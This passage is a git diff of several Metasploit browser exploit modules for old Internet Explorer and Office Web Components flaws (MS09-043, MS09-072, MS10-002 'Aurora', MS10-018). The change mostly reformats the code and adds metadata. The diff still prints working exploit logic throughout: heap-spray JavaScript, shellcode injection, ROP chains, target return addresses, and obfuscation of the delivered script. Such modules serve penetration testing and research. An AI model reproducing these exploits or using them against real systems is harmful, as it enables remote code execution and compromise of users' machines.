rand_text_alpha(rand(100) + 1) + fill = rand_text_alpha(25) js = %Q| var #{rand1} = unescape("#{shellcode}"); diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 12a7e65b91eeb..c3a666b1cd0ec 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -10,63 +10,71 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow', + 'Description' => %q{ This module exploits a buffer overflow in Microsoft's Office Web Components. - When passing an overly long string as the "HTMLURL" parameter an attacker can - execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'jduck' ], - 'References' => - [ + When passing an overly long string as the "HTMLURL" parameter an attacker can + execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck' ], + 'References' => [ [ 'CVE', '2009-1534' ], [ 'OSVDB', '56916' ], [ 'BID', '35992' ], [ 'MSB', 'MS09-043' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00\xf0", - 'DisableNops' => true + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00\xf0", + 'DisableNops' => true }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ # 'ProgId' => "OWC.Spreadsheet.9" # 'ClassId' => "0002E512-0000-0000-C000-000000000046", - [ 'Windows XP SP3 - IE6 - Office XP SP0', + [ + 'Windows XP SP3 - IE6 - Office XP SP0', { 'ClassId' => "0002E510-0000-0000-C000-000000000046", - 'Offset' => 31337, - 'Ret' => 0x42424242 # p/p/r in msohev.dll ?? + 'Offset' => 31337, + 'Ret' => 0x42424242 # p/p/r in msohev.dll ?? } ], - [ 'Windows XP SP3 - IE6 - Office XP SP3', + [ + 'Windows XP SP3 - IE6 - Office XP SP3', { 'ClassId' => "0002E511-0000-0000-C000-000000000046", - 'Offset' => ((4096*7) + 1076), - 'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0 + 'Offset' => ((4096 * 7) + 1076), + 'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0 } ] ], - 'DisclosureDate' => '2009-08-11', - 'DefaultTarget' => 1)) + 'DisclosureDate' => '2009-08-11', + 'DefaultTarget' => 1, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ]) + ] + ) end def autofilter @@ -115,8 +123,8 @@ def on_request_uri(cli, request) string = Rex::Text.to_unescape(string) # Randomize the object and function names - objid = rand_text_alpha(8+rand(8)) - fnname = rand_text_alpha(8+rand(8)) + objid = rand_text_alpha(8 + rand(8)) + fnname = rand_text_alpha(8 + rand(8)) # Build the final JavaScript js = %Q| @@ -142,12 +150,12 @@ def on_request_uri(cli, request) opts = { 'Strings' => false, # way too slow to obfuscate this monster 'Symbols' => { - 'Variables' => %w{ long ver1 ver3 }, + 'Variables' => %w{long ver1 ver3}, } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.obfuscate(memory_sensitive: true) -# + # # Build the final HTML content = %Q| @@ -167,14 +175,13 @@ def on_request_uri(cli, request) # Transmit the response to the client send_response_html(cli, content, - { - # The vuln requires that this be the same on both requests. - 'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT', - }) + { + # The vuln requires that this be the same on both requests. + 'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT', + }) # Handle the payload handler(cli) end - end diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb index a5a4d1cc09f2c..a578592e38de3 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb @@ -9,17 +9,18 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', - 'Description' => %q{ - This module exploits a memory corruption vulnerability within versions 10 and 11 of - the Office Web Component Spreadsheet ActiveX control. This module was based on - an exploit found in the wild. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! ' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption', + 'Description' => %q{ + This module exploits a memory corruption vulnerability within versions 10 and 11 of + the Office Web Component Spreadsheet ActiveX control. This module was based on + an exploit found in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! ' ], + 'References' => [ [ 'CVE', '2009-1136' ], [ 'OSVDB', '55806' ], [ 'MSB', 'MS09-043' ], @@ -27,42 +28,44 @@ def initialize(info = {}) [ 'EDB', '9163' ], [ 'URL', 'https://web.archive.org/web/20090716143635/http://xeye.us/blog/2009/07/one-0day/' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => '', + 'Payload' => { + 'Space' => 1024, + 'BadChars' => '', 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c ], - 'DisclosureDate' => '2009-07-13', - 'DefaultTarget' => 0)) - - @javascript_encode_key = rand_text_alpha(rand(10) + 10) + 'DisclosureDate' => '2009-07-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) - # Send a redirect with the javascript encoding key - #if (!request.uri.match(/\?\w+/)) + # if (!request.uri.match(/\?\w+/)) # send_local_redirect(cli, "?#{@javascript_encode_key}") # return - #end + # end return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name}") - shellcode = Rex::Text.to_unescape(p.encoded) - retaddr = Rex::Text.to_unescape([target.ret].pack('V')) + retaddr = Rex::Text.to_unescape([target.ret].pack('V')) js = %Q| var xshellcode = unescape("#{shellcode}"); @@ -112,11 +115,9 @@ def on_request_uri(cli, request) # Obfuscate it up a bit js = obfuscate_js(js, - 'Symbols' => { - 'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err} - } - ).to_s - + 'Symbols' => { + 'Variables' => %W{xshellcode xarray xls xbigblock xlh xi xobj xe xj err} + }).to_s # Encode the javascript payload with the URI key # js = encrypt_js(js, @javascript_encode_key) diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb index b61160a1640c1..0283284447d18 100644 --- a/modules/exploits/windows/browser/ms09_072_style_object.rb +++ b/modules/exploits/windows/browser/ms09_072_style_object.rb @@ -10,8 +10,8 @@ class MetasploitModule < Msf::Exploit::Remote # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "7.0", @@ -19,56 +19,59 @@ class MetasploitModule < Msf::Exploit::Remote # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it # :rank => LowRanking # exploitable on ie7/vista - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption', - 'Description' => %q{ - This module exploits a vulnerability in the getElementsByTagName function - as implemented within Internet Explorer. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption', + 'Description' => %q{ + This module exploits a vulnerability in the getElementsByTagName function + as implemented within Internet Explorer. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'securitylab.ir ', 'jduck' ], - 'References' => - [ + 'References' => [ ['MSB', 'MS09-072'], ['CVE', '2009-3672'], ['OSVDB', '50622'], ['BID', '37085'], ['URL', 'https://web.archive.org/web/20090316061713/http://taossa.com/archive/bh08sotirovdowd.pdf'], ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', + 'DefaultOptions' => { + 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', - 'HTTP::chunked' => true + 'HTTP::chunked' => true }, - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00", - 'Compat' => - { - 'ConnectionType' => '-find', - }, + 'Compat' => + { + 'ConnectionType' => '-find', + }, 'StackAdjustment' => -3500 }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { }], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {}], ], - 'DisclosureDate' => '2009-11-20', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-11-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) - # resulting eips: # 0x501d6bd8 # windows vista ie7 (mshtml.dll 7.0.6001.18203) # 0xc5fe7dc9 # windows xp sp3 ie6 (mshtml.dll 6.0.2900.5848) @@ -78,17 +81,17 @@ def on_request_uri(cli, request) print_status("Entering heap spray mode") - var_memory = rand_text_alpha(rand(100) + 1) - var_boom = rand_text_alpha(rand(100) + 1) - var_body = rand_text_alpha(rand(100) + 1) - var_unescape = rand_text_alpha(rand(100) + 1) + var_memory = rand_text_alpha(rand(100) + 1) + var_boom = rand_text_alpha(rand(100) + 1) + var_body = rand_text_alpha(rand(100) + 1) + var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) - var_spray = rand_text_alpha(rand(100) + 1) - var_start = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(100) + 1) - var_ss = rand_text_alpha(rand(100) + 1) - var_fb = rand_text_alpha(rand(100) + 1) - var_bk = rand_text_alpha(rand(100) + 1) + var_spray = rand_text_alpha(rand(100) + 1) + var_start = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) + var_ss = rand_text_alpha(rand(100) + 1) + var_fb = rand_text_alpha(rand(100) + 1) + var_bk = rand_text_alpha(rand(100) + 1) html = %Q| diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index ffb4252429657..5de67c5c4c414 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -10,68 +10,71 @@ class MetasploitModule < Msf::Exploit::Remote # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "6.0", # :javascript => true, # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption', + 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer. This - flaw was found in the wild and was a key component of the "Operation Aurora" - attacks that lead to the compromise of a number of high profile companies. The - exploit code is a direct port of the public sample published to the Wepawet - malware analysis site. The technique used by this module is currently identical - to the public sample, as such, only Internet Explorer 6 can be reliably exploited. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + flaw was found in the wild and was a key component of the "Operation Aurora" + attacks that lead to the compromise of a number of high profile companies. The + exploit code is a direct port of the public sample published to the Wepawet + malware analysis site. The technique used by this module is currently identical + to the public sample, as such, only Internet Explorer 6 can be reliably exploited. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'unknown', - 'hdm' # Metasploit port + 'hdm' # Metasploit port ], - 'References' => - [ + 'References' => [ ['MSB', 'MS10-002'], ['CVE', '2010-0249'], ['OSVDB', '61697'], ['URL', 'https://web.archive.org/web/20100609073233/http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00", - 'Compat' => - { - 'ConnectionType' => '-find', - }, + 'Compat' => + { + 'ConnectionType' => '-find', + }, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { }], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {}], ], - 'DisclosureDate' => '2010-01-14', # wepawet sample - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2010-01-14', # wepawet sample + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def on_request_uri(cli, request) - if (request.uri.match(/\.gif/i)) data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0] send_response(cli, data, { 'Content-Type' => 'image/gif' }) @@ -83,63 +86,63 @@ def on_request_uri(cli, request) return end - var_boom = rand_text_alpha(rand(100) + 1) + var_boom = rand_text_alpha(rand(100) + 1) - var_element = rand_text_alpha(rand(100) + 1) - var_event = rand_text_alpha(rand(100) + 1) - var_loaded = rand_text_alpha(rand(100) + 1) + var_element = rand_text_alpha(rand(100) + 1) + var_event = rand_text_alpha(rand(100) + 1) + var_loaded = rand_text_alpha(rand(100) + 1) var_loaded_arg = rand_text_alpha(rand(100) + 1) - var_memory = rand_text_alpha(rand(100) + 1) - var_spray = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(100) + 1) - - var_el_array = rand_text_alpha(rand(100) + 1) - bleh = rand_text_alpha(3); - var_grab_mem = rand_text_alpha(rand(100) + 1) - - var_unescape = rand_text_alpha(rand(100) + 1) - var_shellcode = rand_text_alpha(rand(100) + 1) - - var_span_id = rand_text_alpha(rand(100) + 1) - var_start = rand_text_alpha(rand(100) + 1) - rand_html = rand_text_english(rand(400) + 500) - - js = <<-EOS -var #{var_element} = "COMMENT"; -var #{var_el_array} = new Array(); -for (i = 0; i < 1300; i++) -{ -#{var_el_array}[i] = document.createElement(#{var_element}); -#{var_el_array}[i].data = "#{bleh}"; -} -var #{var_event} = null; -var #{var_memory} = new Array(); -var #{var_unescape} = unescape; -function #{var_boom}() -{ -var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); -var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" ); -do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); -for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; -} -function #{var_loaded}(#{var_loaded_arg}) -{ -#{var_boom}(); -#{var_event} = document.createEventObject(#{var_loaded_arg}); -document.getElementById("#{var_span_id}").innerHTML = ""; -window.setInterval(#{var_grab_mem}, 50); -} -function #{var_grab_mem}() -{ -p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d"; -for (i = 0; i < #{var_el_array}.length; i++) -{ -#{var_el_array}[i].data = p; -} -var t = #{var_event}.srcElement; -} -EOS + var_memory = rand_text_alpha(rand(100) + 1) + var_spray = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) + + var_el_array = rand_text_alpha(rand(100) + 1) + bleh = rand_text_alpha(3); + var_grab_mem = rand_text_alpha(rand(100) + 1) + + var_unescape = rand_text_alpha(rand(100) + 1) + var_shellcode = rand_text_alpha(rand(100) + 1) + + var_span_id = rand_text_alpha(rand(100) + 1) + var_start = rand_text_alpha(rand(100) + 1) + rand_html = rand_text_english(rand(400) + 500) + + js = <<~EOS + var #{var_element} = "COMMENT"; + var #{var_el_array} = new Array(); + for (i = 0; i < 1300; i++) + { + #{var_el_array}[i] = document.createElement(#{var_element}); + #{var_el_array}[i].data = "#{bleh}"; + } + var #{var_event} = null; + var #{var_memory} = new Array(); + var #{var_unescape} = unescape; + function #{var_boom}() + { + var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); + var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" ); + do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); + for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; + } + function #{var_loaded}(#{var_loaded_arg}) + { + #{var_boom}(); + #{var_event} = document.createEventObject(#{var_loaded_arg}); + document.getElementById("#{var_span_id}").innerHTML = ""; + window.setInterval(#{var_grab_mem}, 50); + } + function #{var_grab_mem}() + { + p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d"; + for (i = 0; i < #{var_el_array}.length; i++) + { + #{var_el_array}[i].data = p; + } + var t = #{var_event}.srcElement; + } + EOS js_encoded = encrypt_js(js, @javascript_encode_key) html = %Q| diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index 43f6260ea09f1..b61165b23d8e1 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -9,67 +9,71 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free", + 'Description' => %q{ This module exploits a vulnerability found in Internet Explorer's - mshtml component. Due to the way IE handles objects in memory, it is - possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext - to be used even after it gets freed, therefore allowing remote code - execution under the context of the user. + mshtml component. Due to the way IE handles objects in memory, it is + possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext + to be used even after it gets freed, therefore allowing remote code + execution under the context of the user. This particular vulnerability was also one of 2012's Pwn2Own - challenges, and was later explained by Peter Vreugdenhil with exploitation - details. Instead of Peter's method, this module uses heap spraying like - the 99% to store a specially crafted memory layout before re-using the - freed memory. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + challenges, and was later explained by Peter Vreugdenhil with exploitation + details. Instead of Peter's method, this module uses heap spraying like + the 99% to store a specially crafted memory layout before re-using the + freed memory. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Peter Vreugdenhil', # Vulnerability discovery and exploit writeup 'juan vazquez', # Metasploit 'sinn3r' # Metasploit ], - 'References' => - [ + 'References' => [ [ 'MSB', 'MS10-002'], [ 'CVE', '2010-0248' ], [ 'OSVDB', '61914'], [ 'URL', 'http://dvlabs.tippingpoint.com/blog/2012/03/15/pwn2own-2012-challenge-writeup' ], [ 'ZDI', '10-014'] ], - 'Payload' => - { - 'Space' => 1000, + 'Payload' => { + 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, - 'DefaultOptions' => - { + 'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77c15ed5 }, ], - [ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ] + [ 'IE 8 on Windows 7 SP0', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7c348b05 } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2010-01-21', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2010-01-21', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def get_target(agent) - #If the user is already specified by the user, we'll just use that + # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ - return targets[1] #IE 8 on Windows XP SP3 + return targets[1] # IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ - return targets[2] #IE 8 on Windows 7 SP1 with JRE + return targets[2] # IE 8 on Windows 7 SP1 with JRE else return nil end @@ -109,15 +113,13 @@ def on_request_uri(cli, request) | print_status("Sending HTML") - send_response(cli, html, {'Content-Type'=>'text/html'}) - + send_response(cli, html, { 'Content-Type' => 'text/html' }) end def build_javascript(my_target) - p = get_payload(my_target) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(my_target.arch)) randnop = rand_text_alpha(rand(100) + 1) # The exploit will try to take up the freed memory @@ -188,64 +190,64 @@ def build_javascript(my_target) # get execution flow when the memory freed in step 1 # is reused in step 4. # 4. Force the memory reuse. - spray = <<-JS -function Start() { - - var fake_items = unescape("#{fake_item_js}"); - while (fake_items.length < 0x1000) fake_items+= fake_items; - var fake_item = fake_items.substring(0, (96-6)/2); - - var code = unescape("#{js_code}"); - var memory_layout = unescape("#{memory_layout_js}") - var #{randnop} = "#{js_nops}"; - var nops = unescape(#{randnop}); - while (nops.length < 0x80000) nops += nops; - var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length); - var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length); - while (shellcode.length < 0x40000) shellcode += shellcode; - var block_shell = shellcode.substring(0, (0x80000-6)/2); - - var heap = new heapLib.ie(0x20000); - - var TableClone = document.getElementById('tableid').cloneNode(1); - var TableCellUrns = TableClone.cells.urns('a'); - var bla = TableClone.cells.item(1); - var TableCellUrnsTags = TableCellUrns.tags('a'); - TableClone.outerText = 'a'; - - heap.gc(); - for(i = 0; i < 30; i++) { - heap.alloc(fake_item); - } - - for (var i=1; i < 0x1C2; i++) { - heap.alloc(block_shell); - } - - Result = TableClone.cells; - Result = TableCellUrnsTags.item(1); - -} + spray = <<~JS + function Start() { + + var fake_items = unescape("#{fake_item_js}"); + while (fake_items.length < 0x1000) fake_items+= fake_items; + var fake_item = fake_items.substring(0, (96-6)/2); + + var code = unescape("#{js_code}"); + var memory_layout = unescape("#{memory_layout_js}") + var #{randnop} = "#{js_nops}"; + var nops = unescape(#{randnop}); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']} - memory_layout.length); + var shellcode = memory_layout + offset + code + nops.substring(0, 0x800-#{my_target['Offset']}-code.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block_shell = shellcode.substring(0, (0x80000-6)/2); + + var heap = new heapLib.ie(0x20000); + + var TableClone = document.getElementById('tableid').cloneNode(1); + var TableCellUrns = TableClone.cells.urns('a'); + var bla = TableClone.cells.item(1); + var TableCellUrnsTags = TableCellUrns.tags('a'); + TableClone.outerText = 'a'; + + heap.gc(); + for(i = 0; i < 30; i++) { + heap.alloc(fake_item); + } + + for (var i=1; i < 0x1C2; i++) { + heap.alloc(block_shell); + } + + Result = TableClone.cells; + Result = TableCellUrnsTags.item(1); + + } JS - spray = heaplib(spray, {:noobfu => true}) + spray = heaplib(spray, { :noobfu => true }) return spray end - def junk(n=4) + def junk(n = 4) return rand_text_alpha(n).unpack("V").first end # ROP chain + shellcode will be sprayed at 0x0c0c0c0c def get_payload(t) - p = make_nops(46) + p = make_nops(46) p << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes p << [t.ret].pack("V") # Stack Pivot p << payload.encoded case t['Rop'] when :msvcrt - rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) + rop_payload = generate_rop_payload('msvcrt', p, { 'target' => 'xp' }) else rop_payload = generate_rop_payload('java', p) end diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 014fa17a0dd21..ddca2c8896e6f 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -28,45 +28,45 @@ class MetasploitModule < Msf::Exploit::Remote # # ms10_090_ie_css_clip is newer but *much* less reliable # - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "6.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it - #}) + # }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free', + 'Description' => %q{ This module exploits a use-after-free vulnerability within the DHTML behaviors - functionality of Microsoft Internet Explorer versions 6 and 7. This bug was - discovered being used in-the-wild and was previously known as the "iepeers" - vulnerability. The name comes from Microsoft's suggested workaround to block - access to the iepeers.dll file. - - According to Nico Waisman, "The bug itself is when trying to persist an object - using the setAttribute, which end up calling VariantChangeTypeEx with both the - source and the destination being the same variant. So if you send as a variant - an IDISPATCH the algorithm will try to do a VariantClear of the destination before - using it. This will end up on a call to PlainRelease which deref the reference - and clean the object." - - NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'unknown', # original discovery + functionality of Microsoft Internet Explorer versions 6 and 7. This bug was + discovered being used in-the-wild and was previously known as the "iepeers" + vulnerability. The name comes from Microsoft's suggested workaround to block + access to the iepeers.dll file. + + According to Nico Waisman, "The bug itself is when trying to persist an object + using the setAttribute, which end up calling VariantChangeTypeEx with both the + source and the destination being the same variant. So if you send as a variant + an IDISPATCH the algorithm will try to do a VariantClear of the destination before + using it. This will end up on a call to PlainRelease which deref the reference + and clean the object." + + NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'unknown', # original discovery 'Trancer ', # metasploit module 'Nanika', # HIT2010 IE7 reliable PoC 'jduck' # minor cleanups ], - 'References' => - [ + 'References' => [ [ 'CVE', '2010-0806' ], [ 'OSVDB', '62810' ], [ 'BID', '38615' ], @@ -74,27 +74,26 @@ def initialize(info = {}) [ 'URL', 'https://web.archive.org/web/20120627174253/http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html' ], [ 'MSB', 'MS10-018' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 